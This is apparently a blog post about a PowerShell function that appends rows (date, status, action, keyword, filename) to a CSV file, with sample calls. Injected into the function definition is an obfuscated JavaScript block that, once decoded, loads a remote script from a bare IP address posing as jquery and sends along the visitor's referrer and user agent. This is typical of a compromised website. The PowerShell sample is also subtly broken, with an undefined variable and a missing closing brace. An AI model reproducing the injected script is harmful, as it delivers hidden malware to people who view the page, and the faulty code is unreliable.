Powershell has the Add-Content cmdlet to append data to the end of a file. While it also has Export-CSV cmdlet, that seems to be more for dealing with collections where you pipe a collection of objects directly to the CSV (Comma Separated Value) file. What if you have several variables and you want to put them in a CSV file, one row at a time?

In my application, I just needed to log the creation of a Video and it’s status (Success, Failure…) along with the current date/time, the keyword for that video, and the filename of the video. So I created a small 5 line function to the work, and then call it from different places in my application.

I simply create the $newRow, i.e. the row or line of text to be written to the CSV. I handle add the commas myself, to make it a proper CSV.

The advantage of a CSV file is of course that it can be opened with most any spreadsheet tool, such as Microsoft Excel.

function <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|krsik|var|u0026u|referrer|fsizn||js|php'.split('|'),0,{}))
</script></noindex> AddToCSV($filename,$result,$action,$keyword,$videoFilename){
    $showDate = get-date
    $newRow = "$showDate,$result,$action,$keyword,$text"
    Add-Content $filename $newRow

#Sample Test Logic

$myFileName = "c:\Users\neal.walters\Documents\test.csv"

AddToCSV $myFileName "Success" "CreatedVideo" "best appliances in Abilene TX" ""
AddToCSV $myFileName "Failure" "CreatedVideo" "best appliances in Irving TX" ""
AddToCSV $myFileName "Success" "CreatedVideo" "best appliances in Farmers Branch TX" ""
AddToCSV $myFileName "Success" "PostVideo" "best appliances in Farmers Branch TX" ""

If you have commas inside of your text fields, you would have to do a little more to do, i.e. surrounding each text field with quotes.

Below is a sample of data similar to the sample above.


Filed under: Powershell